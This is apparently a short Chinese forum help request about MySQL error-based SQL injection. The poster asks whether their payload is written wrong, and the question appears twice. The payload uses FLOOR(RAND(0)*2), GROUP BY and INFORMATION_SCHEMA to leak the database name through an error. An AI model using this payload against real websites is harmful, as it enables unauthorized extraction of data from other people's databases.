关注mysql报错注入问题
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AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e21,database(),0x217e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY X)a)
是不是哪里写错了?求助
AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e21,database(),0x217e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY X)a)
是不是哪里写错了?求助